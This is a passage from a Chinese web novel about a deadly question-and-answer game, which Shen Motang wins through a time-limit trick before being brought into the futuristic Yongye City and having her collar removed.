范诺琪则重新看向电视:“这么牛……但现在她的陷阱被……被触发了?这个问题就没用了吧?那新人……那男的,看起来早就已经识破的样子呢?”
……
“呵呵呵。沈墨棠,你是个挺有能耐的对手,你没有早早放弃,我很欣慰。”
曹彦旭目露凶光,嘴里却自言自语,仿佛只是日常在与学生进行对话:“但是只靠这种小伎俩,不可能赢我!”
“呵呵呵呵……接下来,是一对一了……”
他目光如炬,视线扫过天空。
高洁淘汰后,场上只剩他和李漫漫两名玩家;四只“鬼”里面,丁耀霖已经死了;郭丹妮、秦泽欣确定完成了“4次献祭”,能够存活。
对郭丹妮和秦泽欣而言,【有问必答】最后是谁获胜都无关紧要,所以他们大概率不会再提问。
如此一来,李漫漫暂时不会受到攻击。按照她刚才的表现,她也不会去主动招惹其他“鬼”。
综合一切考虑,接下来——
只有曹彦旭和沈墨棠必须决出胜负!
“太好了,让我们先做一个了结……”
曹彦旭眯着双眼,隐约瞧见那石墙的高处,有凸出墙体的结构:“呵呵呵,那里的滋味不好受吧?可惜你将在那里永远沉眠,沈墨棠。”
场上沉默了片刻,才又回荡起“镜头”的声音:“提问者与回答者身份互换……请曹彦旭选定一个镜中姓名,并问出你想问的问题。”
果然,郭丹妮再次跳过了提问,置身事外。
游戏来到第三轮的“人”提问环节。
“问沈墨棠。”
曹彦旭张开双臂,一副要拥抱全世界的模样,满脸笑意:“曹彦旭知道【有问必答】的规则吗?”
……
“向沈墨棠提问:曹彦旭知道【有问必答】的规则吗?”
虚无缥缈的声音,从那无法理喻的镜面装置内响起,经过空气传播,被场地里的收音装置录入,再经过电子元件处理,转换成某种电磁信号,最后被触屏的音响模拟放出,回荡在仅剩1/3空气的逼仄水棺内。
听起来很不真实,像是来世的接引。
沈墨棠微微一怔。
这个问题?又是哪一种陷阱?
之前怎么都没想到,这个曹老师竟然这么难对付,每一个问题都如此致命而又充满压迫感!
就像一只潜藏在水里的毒蛇,只要落水者一不留神,就会被一击毙命!
所以,这个问题,又是哪里有问题?
“扑通、扑通、扑通、扑通……”
沈墨棠没意识到,自己的心脏正在疯狂跳动,起伏的胸膛几乎将冰水烧热,那犹如回光返照以死相搏的心跳,把身体里最后一丝力量都压榨出来。
快死了,身体的温度已经无法支撑基本机能运作。
此时意识消失前的短暂清明,是最后的机会!
这个问题……
要怎么回答呢?
……
游戏场上,无数镜面内收录进新的一句话:
【曹彦旭知道有问必答的规则吗:知道】
“!!!”
终于钓到了!
曹彦旭看着这个回答,双目放出兴奋得意的精光:“沈墨棠!你终于……上钩了!”
他确信沈墨棠不是一个愚蠢的人。
刚才沈墨棠利用规则设置“陷阱”,就代表她必然会对与【有问必答】相关的问题小心谨慎。
这就是曹彦旭利用的心理——如此聪明的沈墨棠为降低风险,一定会选择正面回答,而不敢像之前那样“答非所问”。
所以……
“吱吱吱……接下来是1分钟人鬼交流时间!”
北阵营的李漫漫跳过提问,游戏第三次来到“人”与“鬼”的“对簿公堂”。
“哈哈哈哈!!!哈哈哈哈!!!沈墨棠,你……哈哈哈哈!!你果然聪明!!!哈哈哈哈!!!”
曹彦旭望着那张巨大的由无数镜面组成的沈墨棠的脸,像是在看一只被敲晕丢在砧板上的肥鱼,眼神充满玩味和饥渴:
“不过……我善意提醒你吧,你刚刚犯下了一个巨大的错误!!!哈哈哈哈!!!”
“我知道。”沈墨棠的脸庞微微扬起。
曹彦旭笑声中断:“呃?”
只见沈墨棠轻启双唇:
“曹老师,你的问题都很毒。不管我是回答‘知道’还是‘不知道’,都给了你定义规则的机会。”
“哦?呵呵,沈墨棠,你真的搞清楚状况了吗?”曹彦旭轻蔑一笑:“我的下一个问题就是你的死……”
“如果我一直逃避问题,”沈墨棠打断了曹彦旭的话,“同样会掉进你设置的‘惯性思维’陷阱,迟早会犯错。”
迟早会在某些必须回答的问题上,习惯性逃避。
“噢?但你现在……”
“曹老师。”沈墨棠再次打断。
她的声音通过“镜头”发出,丝毫没有曹彦旭预想中的怯懦无助,只是冰冷机械而又神秘诡谲:“你的下一个问题,就可以让我死。就比如‘曹彦旭知道规则里只有曹彦旭一个人能提问’之类套环逻辑的,就能彻底剥夺我提问的权
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力,不是吗?”
曹彦旭那自信满满的眼神中,第一次有了些许动摇——这个女孩,明明什么都想到了!
但她还是正面回应了这个问题……为什么?
越是聪明的人,越明白每个问题背后的凶险。那种“只要一步错就万劫不复”的压迫感,会逼得人神经紧绷,就像不断承重的绳索,最后将轰然绷断!
但……这个在暗无天日的环境中呆了那么久的沈墨棠,还没有彻底崩溃吗?
她到底在想什么?直接放弃了?
“曹老师,你有没有想过,其实是你失误了?”
场地中央,悬浮的那张巨大的沈墨棠面孔,竟然隐隐透出一股笑意!
失误?
曹彦旭脸色一变,怀疑地皱着眉头。
“曹老师,你一心想要争夺游戏里的‘话语权’。”沈墨棠的面孔飘飘忽忽,如雾般散发:“不管是想定义‘数字’,还是想定义‘规则’……你都计划着构建一套能够运行的逻辑规律,然后完成一个无论怎么回答都是错的究极问题,对吗?”
她果然什么都清楚,但为什么一点都不恐慌?
曹彦旭活动了一下僵硬的脖子,语气严肃:“我还有一百种方式,你只不过是……”
“曹老师,我说的失误,不是你战略上的失误。”沈墨棠语气毫无起伏,“你的失误,是因为你太自大,也太小看我。”
“你到底想说什么!?”曹彦旭说话连着几次被打断,脸上的肌肉已经控制不住地抽搐起来:“沈墨棠,你叽叽喳喳只有一个点说对了——我的下一个问题就能收走你的命!哈哈哈哈!!哈哈哈哈!!”
场地一瞬间只剩下曹彦旭癫狂得意的大笑。
片刻,沈墨棠的声音才继续悠悠响起,替代了曹彦旭的狂笑:“曹老师,其实……已经结束了……”
“呵?”
“接下来,是我先问。”沈墨棠语气还是那么冰冷:“我的下一个问题就能收走你的命。”
“呃……笑话!”曹彦旭声音一颤,但还是保持疯狂:“沈墨棠,你开始说胡话了!在这里,这个场地,这个游戏里,不可能有我回答不了的问题!”
“你根本没利用好游戏规则。”沈墨棠的声音第一次有了情绪语调。
下一秒,场地上飘起她颤巍巍的歌声:“来不及,来不及,你曾笑着哭泣,来不及,来不及……”
歌唱到一半,一分钟的交流时间戛然而止,“镜头”恢复成“人类头颅”的形态。
“……”
“装模作样!”曹彦旭许久才从沈墨棠“突然高歌”的错愕中回过神来:“大言不惭!”
这游戏的底层逻辑是我设计的!
我没能利用好游戏规则?
笑话!
曹彦旭双眼充血,死死盯着“镜头”,等待它说出沈墨棠的问题,那个装模作样的她愚蠢得自认为能够绝杀的蠢问题!一定要大声嘲笑它,嗤之以鼻!
“向曹彦旭提问:现在【有问必答】总共出现哪些问题?”
10……
9……
8……
“嗯?”
等下!现在系统内收录的问题是已经确定的事情,所以不能乱答。这么说来,必须把刚才所有的问题……在10秒内全念一遍!?
7……
6……
5……
“等……‘曹彦旭知道有问必答的规则吗’……还有,还有……‘在【有问必答】游戏里,李漫漫会赢吗?’、‘我家的wifi密码是多少’、‘你家的wifi密码是多少’……”
4……
3……
2……
曹彦旭瞳孔剧烈颤抖,努力在那无数镜面里寻找:“还有……‘你觉得这场游戏谁能赢?’、‘游戏开始后,沈墨棠提了几个问题?’……”
1……
“所有0、1、2、3、4、5等等这类整数当中,任意相邻的两个整数之间都相差多少!!!”
曹彦旭对于数学定义烂熟于心,在倒计时最后一秒内,无比快速念完自己一开始提的问题!
“呵……呵……呵呵……”他气喘吁吁,神色凌乱。
原来如此!
沈墨棠说的“利用规则”是指这个!
根据规则,玩家回答问题的时间只有倒数10秒钟——也就是说,只要问出让人必须正面回答,但在10秒内又回答不完的问题!
“呵呵……呵呵呵!”
还好……还好……赶上了!
接下来,就是你沈墨棠的死期!
曹彦旭得意地抬头,双目却陡然睁得浑圆,眼白里布满青筋和血丝,恐怖而绝望……映照在他瞳孔里的,场地中央那无数镜面中,有一句扎眼的话:
【站在宇宙中心呼唤爱第十章写的是:十】
“回答超时!”
“等一下……沈墨棠……你听我说……这个游戏是我设……”
嘭!!!!!
59. 东城区1
“来不及……来不及……”
沈墨棠的歌声淡去。
歌单里有个快嘴歌手,一秒8个字;以快嘴著名的主持人,一秒也只能达到12个字。
更何况是在没有提词器,大脑还需要思考的情况?
十秒,能说多少个字?
游戏第一轮过后,沈墨棠就注意到——玩家回答问题的时间只有10秒钟。
她不敢过多提问,除了担心贸然的问题弄巧成拙,也防备着曹彦旭利用“10秒规则”发起进攻……然而随着游戏的进展,发现他似乎更在意问题本身的逻辑,根本没想过10秒的时间限制。
这才是【有问必答】最直接的必胜法!
“终于结束了吗?”
水棺内沉寂,晦暗,阴森,犹如死亡的摇篮,尸体的温床。
沈墨棠恍惚间,仿佛又回到那天,生命中最伤痛的那天,奶奶丧葬已逝,万众消散,只剩条条垂柳,点点星河。
山风浇灌在树梢,压低了路人的背脊,掀起或不安或激荡。
从来没人在意随风飘来的是什么旋律,仿佛那些流光溢彩的音符只是被吹落的残叶,该被席卷往远方。
谁伸出手,抓不住任何一片。
她没有情感,也没有温度。
让风贯穿她的身体,让宇宙压碎她的灵魂。
须臾和永远,都不关心她。
……
“恭喜恭喜!”
“啪啪啪啪啪啪……”石棺音响内发出夸张的鼓掌声。
红蟹热情不减反升的聒噪,惊醒了沈墨棠几近临终前的幻景:
“接下来结算赢取的狗环时长,嗯……让我们恭喜【沈墨棠】赢得【死者复苏】回合胜利!获得1枚雀徽奖励,并为所在阵营增加1胜场!”
“咳咳,还有哦……哈哈哈!恭喜三位被淘汰者啦,你们已经完成【死者复苏】的四次献祭任务,成功存活!现在,你们可以回到永夜城啦!你们各自城区的负责人会来接你们的!可喜可贺可喜可贺呀!哦,对了,成功存活后,你们还能各自获得6枚‘雀徽’的丰厚奖励啊!”
一枚雀徽能“充值”300分钟的狗环剩余时间,六枚就是1800分钟,总共30个小时。
沈墨棠稍稍睁开眼,见到小屏幕画面亮着。
最后一回合【有问必答】结束,游戏信息为:
东,献祭+4;南,献祭+6;西,献祭+5;北:献祭+3
除了北,其他三个阵营都达成了“4次献祭”。
“咳咳……我,主持人红蟹,宣布!本届新人战到此圆满结束!最后祝愿成功进入永夜城的各位身体健康,事事顺利!迎接下一次挑战!哈哈!”
“啪啪啪啪啪啪……”
掌声在音响内渐行渐远,最后彻底消失。
活下来了?
沈墨棠唇肤发白,双目无神,胸腔内仅剩一口气。
不知道是不是错觉,她仿佛听见某种像是马桶冲水的奇怪声音。
“咕噜咕咕咕咕……”
不……这声音是真的……
“嗯?!”
她努力睁开眼,就算身体已经彻底麻木,但借着小屏幕的荧光,还是能发现棺内的水位正在飞速下落!
“咕咕咕咕嘟嘟呲呲呲……”
是墙。
荧光逐渐消失,因为触屏所在的墙面在迅速上升,连带触屏一起缩进水棺的上方。
而棺内的水通过升起的墙面底部迅速倾泻而出,仿佛大坝被开了闸。
浸泡许久的身体再次接触到新鲜空气。
沈墨棠的精神为之一振!
光。
从右手边缓缓打开的墙面外,投进来清冷而有温度的光。
直到整个墙面打开,水也已经流光,沈墨棠反而蜷缩在水棺的另一侧,视线穿过手臂的遮挡,尝试去看清那光里的事物。
还没等习惯黑暗的眼睛完全适应光线,就听见“咚咚”的脚步声靠近,像是穿着雨靴或者雪地靴。
光消失了。
被两道身影遮挡。
是穿着黑色雨衣的高大人形身影,脸上戴着深色的呼吸面罩。
它们蹲下身,将伸手进水棺,两双手都戴着黑皮手套,共同抓着一件淡青色的织物,披到沈墨棠湿漉漉的身体上——是一件厚毛毯。
沈墨棠这才发现,水棺位于这两个“人”的大腿位置,也就是说离地有一定高度。
就像是在墙上挖出的存放尸骨的坟墓?
她张了张嘴,但没力气发出一丝声音。
两个“人”已经分列两旁,仿佛在等待沈墨棠自己踏出水棺。
她抬头,投出视线。
迎面,光里还站着一个人。
个子不高,留着黑色长发的阴郁男人,身上却穿着与他气质十分不搭的青绿色校服模样的衣服,与某明星出圈图的国□□动服相似,胸前有“东城”两个大字。
“下来吧。”
男人的嗓音沙哑低沉,与他阴柔的外表又是一重对比:“你赢了,沈墨棠,你安全了。”
安全……
沈墨棠将挡住光的手臂放下,眼睛已经完全能看清楚周围的事物。
眼前是大片的金属板拼成横竖相间的墙和地面,从那些金属板的间隙中透出微光,共同为这里照明。除了墙、地面、天花板之外,就只有男人和两个身材两米以上的高大“雨衣人”。
在他们身后,空间延申出去拐弯,像是一条走廊的尽头。
我还没死。
终于能离开水棺的喜悦和兴奋,仿如一剂特效强心剂,令麻木的身体重新恢复知觉。沈墨棠强撑着伸出腿,却因为水棺外离地太高,一下子没能够到地面,整个人“溜”了出去。
所幸两侧的“雨衣人”及时抓住她两条胳膊,才扶她站稳。
如同久久卧床的病患头一次下床复健。
沈墨棠皱起眉头,看了看“雨衣人”——它们呼吸面罩内发出“哼哧哼哧”的奇怪呼吸声,诡异地钻入她耳中;至于那戴着黑皮手套的手掌是如此巨大,她的胳膊在它们手中像是脆嫩的竹笋。
“别害怕,它们是陶瓷娃娃。”阴郁男人开口,声音沙哑。似乎是意识到沈墨棠对“陶瓷娃娃”这个称呼的不解,他又解释道:“机器人。”
机器人?
沈墨棠原地站稳后,只感觉两个“雨衣人”收回了它们的大手,直挺挺地站在她两侧。
机器人,也需要呼吸吗?
沈墨棠疑惑地皱着眉:“机器人,也会呼吸吗?”
这话一问,却见阴郁男人那双浑浊的眼睛直勾勾盯着她。沉默片刻后,他才哂笑一声:“哈!你活下来的第一句话,就是想问这个?”
“嗯?”
“是生物能源产生的废气。”阴郁男人恢复冷峻,丢下一句:“就是你听到的那个‘呼吸声’……看来你还行,那就走吧,你应该很想知道这里是哪。”
说完,他对两个“雨衣人”招招手,便自顾自转身朝走廊尽头走去。
沈墨棠等一会,想象中那种被“劫持”的场面并没有出现——两侧高大的“雨衣男”一动不动,只是守在她身旁,活像两名威慑力十足的专业保镖。
这就是主办方吗?
和想象中的有些出入……
这是什么地方?
他们为什么要抓人来玩这些变态的游戏?
真相,究竟是什么?
沈墨棠虽然筋疲力竭,但还是强撑着精神,裹紧身上的厚毛毯,一声不吭跟了上去。
拐过走廊尽头,能见到这条延申出去的通道连接着敞开的露台。阴郁男人站在露台门口,长发被风吹得横竖乱飞,惹得他不由得回头催促:“快点,没人想在这地方多待。”
或许是因为在封闭的空间里躺太久,沈墨棠在见到露台以及外面一小块天空时,有种说不上来的错觉,双腿向前迈步的时候忽然一软,再次被跟在身旁的“
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陶瓷娃娃”及时扶住。
“这是……”
她口中发出只有自己听得见的呢喃,努力追上阴郁男人的脚步。
露台的大门越来越近,外面的天空越来越宽广,灌进建筑内的风也越来越凛冽。
阴郁男人走出门外,在风中凌乱,大声提醒道:“抓稳了。”
他指的是沈墨棠身上披着的厚毛毯。
沈墨棠冷得直发抖,但还是更加用力裹紧毛毯,眯着眼踏上露台,仰头远望——
是……天空?
不,那不是天空……
露台之外,那远处发光的场景与其称为“天空”,不如叫做“穹顶”更为合适。
但沈墨棠此时没工夫在意那远可及天的“穹顶”,因为注意力不可避免地被近处更多光怪陆离的事物吸引:
无数高耸入云的摩天大楼遮蔽了天际线,或刚直、或圆润的建筑曲线层峦叠嶂,纷杂错略,各种霓虹灯、电子屏幕、巨大的全息影像争奇斗艳,令人不知道该先看哪里,目不暇接。
沈墨棠惊鸿一瞥,空中那无数花花绿绿中,那最大的、最显现的“东城”汉字全息影像映入眼帘。
它像是某种地标性的建筑,许多飞行载具绕着它分散往四面八方,仿佛是城市中心某个恢弘的交通要道。
各种音乐、电子汽车的嗡鸣、空气被划破的动静、消毒药水般的气味、冰冷而热烈的质感……所有的一切,都经由那不知名的大风,吹向沈墨棠所在的露台,又吹往未知的世界远方。
“这里……”
沈墨棠无法克制身体的战栗,想张嘴问什么,但狂风和震惊堵住了她的嘴。
“往这来,沈墨棠。”阴郁男人的声音在身后响起。
回头看去,男人一手狼狈抓着乱飞的长发,一手扶着露台边缘的围栏。在他身后,是一辆悬浮停在露台外面的飞行载具,造型犹如无轮的加长版电子汽车,尊贵奢华——就是车身墨绿色的卡通涂装让人有点难绷。
这伙变态的歹徒,这么有实力?
还能建造这样一座高科技的城市?
不……这压根就不可能是真实存在的城市!
所以是幻觉?
沈墨棠感受着陌生的身体,陌生的环境,陌生的风,瞳孔和身躯同样剧烈颤动。
周围的一切都那么真实,又那么梦幻,令人怀疑自己才是虚假。大脑像是宕机,根本无法运作,意识的宫殿紧紧合上大门。
思考,思考……沈墨棠扶着鬓角,告诉自己要开始思考。
可死脑子在这关头居然罢工了!根本动不了!
“沈墨棠,还好吧?”男人又招了招手,“快点!”
随后他倒是压根不绅士,似乎一刻都不想在狂风中待着,当先钻入豪华的载具内。
要去哪?现在要去哪?
快告诉我这里的真相!
沈墨棠从胸膛内低吟一声,像是在暗中给自己打气,感受到心脏的跳动,如此清晰。她顶着风走过去,在两个“陶瓷娃娃”的护送下,终于将虚弱的身体“拖”进车中。
温暖,清香,仿佛卧室般充满柔顺的织物。
“赶紧走吧,离开这个鬼地方。”阴郁男人缩在真皮座位上,搓着手,满口抱怨。
沈墨棠身后的车门一关,将两个“陶瓷娃娃”留在露台上。随后载具缓缓向前,倾斜上升,顺着空中无形的车道穿梭在高楼大厦和其他载具之间。
“你别摔了。”阴郁男人指了指沈墨棠身旁的座位:“先坐好再看。”
沈墨棠这才意识到,自己正摇晃站着,目不转睛眺望窗外,仿佛那小小的车窗随着载具的移动,变成展示绚烂大都市的完美幕布,紧紧抓住了眼球。
她视线从窗外收回,落在眼前男人身上:“你是谁?”
“青四万——你可以叫我斯旺——他们都这么叫。”阴郁男人似乎完全不在意滑稽穿着的胸口“东城”二字,一边说着:“是个谐音梗……我是无所谓。”
60. 东城区2
“斯旺……”
沈墨棠的注意力不时被车窗外的绮丽景象吸引,各种摩天大楼和飞行载具内,间或能看到各式各样的人们,年轻人、中年人、年长者、女性、男性、长头发、短头发、光头……虽然穿着打扮各不相同,但唯一有一点——只要露出脖子,都能见到他们佩戴着“狗环”。
这帮歹徒绑了这么多人!?
一整座城市的人!?
“为什么要绑架我们?”沈墨棠收回心神,将注意力拉回奢华的车内。
青四万,或者说“斯旺”——这个阴郁男人甩开长发,露出一双带着疑惑的褐色眼睛,与沈墨棠对视。
片刻,他才读懂她的疑问,侧身回应:“哦,你别误会。我啊,跟你一样,都是……怎么说……都是进永夜城的玩家。”
“不对,”沈墨棠指了指自己的脖子,冷冷道:“你没有这个。”
斯旺没被“东城校服”包裹着的脖子很干净,没有狗环。
“哦,这个啊。你很快也会摆脱这个东西。”他努力做出一个微笑,似乎是想尽力留下一个好印象,但那股疲惫烦躁的气质还是压垮了他的努力,最终只能轻轻叹气,不耐烦解释:“我知道你很急,但你先别急……我现在带你去一个地方,见一个人,那个人会回应你所有的疑问。你别担心麻烦她,她会乐意帮助你。”
看样子,他没打算回答这个疑问。
沈墨棠虚弱地靠在真皮车位上,眺望窗外,那仿佛做梦般的绚烂场景。
这群绑匪究竟是什么人?
“永夜城?”
她还是忍不住开口,只不过这次更像是自言自语。
斯旺皱起眉,倒是有问必答:“是。这里是永夜城的东城区,欢迎你加入。”
“……加入。”沈墨棠轻眯了下眼睛,品味着这个词:“所以我还要恭喜自己获得了什么资格?”
斯旺点点头:“你可以这么理解。”
“其他人呢?”沈墨棠一动不动,车窗外绚丽的光彩在她双眸里纷乱划过,一种不真实感从视觉涌入全身感官,“那些游戏里活下来的人,他们也要加入?”
“我负责接引你们。”斯旺朝手掌里哈出一口热气:“另外的几个人……三……四个……这次罕见的有那么多……我已经把他们都送到下城区。”
“下城区。”
“对。”斯旺搓搓手,指向窗外:“不过,我们现在要去的是另一个地方。”
话音刚落,飞行汽车放缓了速度。
沈墨棠只觉得一阵受力,载具开始垂直攀升,仿佛是在乘坐一台浮空的电梯。
车窗外的景象加速下滑,绚烂夺目的霓虹灯跟电子乐越来越少,场景变得单调,光线也慢慢变弱、变暗。
繁华的赛博都市在脚下远去,豪华飞行汽车独自升空。
不多时,窗外只剩下唯一的光源——那自穹顶而下,犹如人工的月光般照进车内。
银白色、淡青色、天蓝色、橘黄色、玫瑰红、深紫色、藏青色、大红色、柠檬黄……“月光”有规律地变换着颜色,梦幻感十足。
沈墨棠顺着斯旺所指,微微侧首,朝穹顶窥望。
“这?”
车窗之外,城市之上,穹顶之际,存在一幢宏伟奢华的建筑……应该称为“一幢建筑”吗?或者该叫做“一座浮空岛”更为贴切?
大块大块粗犷工业风的基座,混凝土和金属物堆砌在空中,让人怀疑“重力”是否存在于这个世界;在这些泛着冷冽光泽的底座之上,矗立着雕梁画栋的恢宏高墙,各种灯光线条点缀其上,配以动感十足的巨大显示屏,华丽得一塌糊涂。
刚才那些有规律照进车内的灯光,正是由这些显示屏和建筑外围的射灯发出。
再往上看,最吸引眼球的,还得属那最大的、几乎占据整面建筑外墙的、凸出显示在半空中的全息影像——变色的字体以极端华美的光效,组成【蓬莱】两个艺术字。
沈墨棠无法理解眼前的一切,只能努力保持清醒,将大脑的迟钝看做是“新人战”的后遗症。
“蓬莱,你可以把它看做一个大酒店。”斯旺似乎是注意到她的不适,皱着眉调整措辞:“嗯……所有东城区的人都想进入的地方。能住进这里,证明你能摘下狗环,同时也代表着东城最高战力。”
最高战力?
什么莫名其妙的东西?
沈墨棠保持沉默,不知道是不是在冰水里泡太久,听觉好像已经麻木,只看到眼前阴郁男人嘴巴一张一合。
“你应该感到荣幸。”斯旺将捂热的双手藏进衣服里,注视车窗外,“很少……几乎没有……至少我没见过……有能从‘新人战’直接飞升【蓬莱】的人……”
褐色的眼睛移向沈墨棠:“你是第一个。”
他在叨叨什么?
沈墨棠抿了抿嘴唇,眼神迷离涣散。
斯旺没得到其他反应,也不再多嘴,眼神中闪过一丝放松。
车窗外景象的坠落速度逐渐减缓,那些建筑外墙屏幕跳动的影像投射到车内,使得飞行汽车仿若是停靠到某种虚幻的梦境里。
“下车。”斯旺当先起身,走出车门。
载具停在一片类似于酒店停机坪的巨大露台上,可能就是所谓的“停车场”吧。但奇怪的是,在这么高的地方,露天场所竟然一点风都没有。
许多奢靡的大灯将这里照得如同白昼。
沈墨棠刚努力把自己即将虚脱的身体挪到车门外,就听见斯旺叫了停机坪边缘出现的一个身影,态度略显恭敬:“老大。”
沈墨棠也抬头,望向那窈窕挺拔的女性身影。
一头柔顺的长发披肩,仿佛从某个洗发水广告里走出来的模特,鹅蛋脸知性而富有魅力,两只眼睛和两片红唇蕴藏神秘的诉说感。
说实话,沈墨棠长这么大,除了在网上看到的一些女明星的精修图以外,从未在现实生活里见到这么活生生的大美女。
只能用“大美女”来形容了,从身高而言,这个窈窕女人也有一米七几接近一米八
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。
等下……这么漂亮的人……
为什么也得穿着那件绿白色的写有“东城”字样的土气运动服啊!
“斯旺辛苦啦!”王潇大美女脸上洋溢着笑容,与斯旺相□□头示意,像是在礼貌交接工作。
斯旺垂着眼神表示尊重,一边回应:“应该的,人安全送到了。不过……身体弱得有点意外了。”
王潇“哈哈”笑了两声,笑声温温柔柔的:“知道了!交给我就行了。琪琪罗冰他们还在里面,快去歇会吧!”
斯旺应允,看都没看沈墨棠一眼,头也不回往停机坪的出口走去,在进入“蓬莱”之前,伸了个懒腰,抖去一身“班味”,背影都感觉轻松不少。
“你好,沈墨棠。”
离近了,更加能发觉这女人散发的典雅气质,也令沈墨棠注意到女人的天鹅颈光洁优美,没有狗环。
“你是红蟹?”沈墨棠听着对方的语气,完全无法与那自称为“红蟹”的主持人对得上号。
“你说什么?”王潇愣了一下,反应过来连忙笑着解释:“哎呀!误会了,我不是!”
“我叫王潇,他们有的叫我老王,有的叫我老大。我的牌面是青二条,跟你一样也是……玩家。”她思考了一下措辞,接着摊开一只手,指向停机坪出口,“现在东城区的一些事务是由我管理,这里是【蓬莱】,你可以把【蓬莱】当作是东城区的最高备战部……哈哈!我先带你进去吧,带你参观一下你的豪华套房!”
沈墨棠怔在原地,默不作声。
这一切到底是怎么了?
游戏呢?主办方呢?
主持人呢?其他玩家呢?
这到底是什么鬼地方?
永夜城?东城区?蓬莱?
这个真相……太过离奇,以至于根本无从确定。
沈墨棠用力呼吸,试图让自己的血氧含量高一些,这是能令大脑高效思考的有效办法。
“沈墨棠。”
一只美美的手伸过来,轻轻搭在沈墨棠的手上,勾起指头牵着。王潇温柔的笑容贴近视野:“放心吧,你暂时很安全。”
安全?
沈墨棠下意识摸了摸脖子,手指间还能映照出狗环那跳动的红色倒计时。
“我先带你去把狗环摘下来,一会儿就能领取你的牌面。”王潇牵着沈墨棠站起身,轻声细语讲述:“你是第一个能直接上蓬莱的新人,很快东城里每个人都会知道你,你现在可是东城的热度top1啊!哈哈,我这么说你会不会更紧张啊哈哈!”
说到最后,她还是没止住那标志性的笑声,拍了拍沈墨棠的手臂,释放着安全的信号。
真的安全?
身旁的大美女有种天然的亲和力,神奇地令人稍稍镇定,控制住颤抖的身体。
沈墨棠虚弱得厉害,只能靠在王潇身上,任由她搀扶着,一步步走向停机坪出口。
走进这栋恢弘华丽的、名为【蓬莱】的建筑内。
走进未知的“真相”里。
61. 东城区3
十分钟后。
“优乐乘梯,幸福同行。16楼,到了。”
沈墨棠对着电梯里“青芸披萨”的诱人广告默默咽下口水时,电梯门应声而开。
头顶传来王潇的温柔提醒:“走吧。”
“复员南路656号5层……”沈墨棠一边走出电梯,一边重复了广告里的披萨店地址,“……所以这里真的是个城市?”
“哈哈!是的。”王潇回答,顿了顿,低低补了句:“那里靠近南城,现在大家都想转去南城呢,地价都涨了。”
东城、南城……果然和游戏设置的一样,有东、南、西、北四个城区?
所谓的“永夜城”是一座真实存在的城市?
沈墨棠强撑着站稳身体,随王潇顺着【蓬莱】16楼宽阔的走廊,走进一个类似医务室的房间。里面布置了两张护理床、药柜、桌椅、几台大型的落地仪器……所有仪器设施都拥有可供交互的全息功能,配备了仿佛看透人心的高级AI科技。
“先坐会。”
在王潇的安排下,沈墨棠坐到一张护理床上。
王潇顺手拍了一台落地仪器的开机键。
“蓬莱未来为您服务。”
仪器启动,是一台立着的全身大仪器,人可以站上去。
“到这边来,我帮你摘掉狗环,”王潇温柔笑着,将手搭在沈墨棠肩膀上,盯着她的眼睛:“取下狗环后,你就能拿到属于你的牌面。”
沈墨棠没想到这地方还挺讲究:“排面?”
王潇继续:“比如我是‘青二条’,刚才送你过来的人是‘青四万’,这里还有其他人,青一筒、二筒、三筒、四筒之类……”
啧,原来是这个“牌面”。
“你拿到的是万字牌,青九万。”似乎是见到仪器已经处在预备状态,王潇引着沈墨棠进入仪器,“放心,我取狗环手法很好,一点都不疼,没感觉的。”
你能说到做到的吧?
沈墨棠跟随身旁王潇的柔声指引,勉强抬腿踩上仪器。
“嗡——”
仪器开始运作,轻轻转动,小小的空间便像突然失去重力。
沈墨棠身处其中,双脚离地,悬浮起来:“嗯?”
并没有任何不适感,反而轻松许多。
被水打湿又干掉的铁刘海因为失重的关系离开额头,虚弱的面容透出迷蒙的萧瑟,像是一片秋天的绿叶,挂在树梢等待坠落,脸上那双满是疏离感的眸子澄澈却无法令人看清,折射出神秘的光泽。原本包裹身体的厚毛毯此时也轻轻浮起,似有若无遮掩着瘦弱骨感的躯体,手臂、小腿若隐若现。
“咔哒——”
一声细微的响动,牢牢禁锢着脖颈处的狗环自动分成两半,向两侧打开,被吸附在仪器上。
!!!
真能解开?
沈墨棠心中猛地升起警惕!
能解开狗环,不正代表着他们就是主办方吗?!
可为什么,却给人一点都没有压迫感?
失重感越来越强烈,沈墨棠的大脑跟着混乱成一团泥沼,完全无法更深入的思考。直到随着转动的仪器缓缓静止,她也重新感受到重力,身体本能站直。
仪器停下后,王潇第一时间伸来帮扶的手,为沈墨棠重新披好厚毛毯:“好了。你现在安全了。我就说吧,一点都没感觉吧?”
感觉……是没什么感觉。
沈墨棠坐回护理床,恍惚地触摸了自己的脖子。虽然狗环解除,但更多的疑问压在心头,只觉得疲惫感剧增。
“哈哈!”王潇爽朗大笑,“你先休息一下吧,一会儿我带你去你的私人套房。”
“嗯。”
“你应该有很多问题吧?”王潇一边说着,一边去关闭仪器,“比如永夜城到底是什么地方、我们为什么会来到这里,还有四个城区到底要做什么、牌面是什么意思……”
她说到一半,戛然而止,转头望向护理床。
沈墨棠躺在上面,呼吸均匀,不知什么时候,双眼紧闭。
王潇无奈,伸手朝沈墨棠揽去,一碰到沈墨棠的额头,手被烫得一缩——
发烧了?
她的脑海里突然明白青四万的那句“就是身体弱了点”是什么意思了。
“行吧,等你醒了再说吧。”
……
沈墨棠眼前骤然一片黑暗,感受不到任何威胁。
头好晕啊,可以睡觉了吗?
不,不对,不是这样的!
不行,这个游戏,不是这样解的!
要这样,再这样,然后这样……
应该没错啊!为什么不行?为什么?游戏有问题!
这个游戏千变万化,根本摸不透规则。
沈墨棠努力了无数种方法,全都是错、错、错!
这是什么游戏?是谁在跟我玩游戏?
不,不……你们到底是谁?
模模糊糊的游戏,模模糊糊的人,模模糊糊的规则,模模糊糊的场景。
模模糊糊,像是梦。
梦?
一片白光荡漾过。
沈墨棠睁开眼,周围是全新的环境,已经不在刚才的医务室里。
身旁只有王潇悉悉索索的声音:“对,先醒醒,我帮你把身上湿衣服换掉……”
换衣服?
奶奶?
是奶奶吗?
只有奶奶会叫着麻糖……会给麻糖换衣服……
沈墨棠迷迷糊糊又合上眼,回到温暖的家里,回到奶奶布置的小小饭桌旁。
原来是梦啊,原来都是梦啊。
发生在自己身上的一切,都是梦啊。
醒来就好了。
醒来后,就来得及回家了,一切都来得及。
醒来后,心跳、呼吸、脉搏,就不会再如此痛苦了。
就不会活得像行尸走肉,活得毫无念想。
醒了吧。
沈墨棠。
“青九万”。
……
窗外阳光明艳。
沈墨棠从柔软舒适的床上醒来,睁着眼睛四下打量。然后坐了起来。
梦?
不是梦。
她看清周围的装潢,温馨而奢华,像是什么顶级酒店的卧室。
然而窗外透进的光却暴.露了异样——那不是阳光,只是某种人造的科技产物,模拟出几乎以假乱真的阳光和大自然。
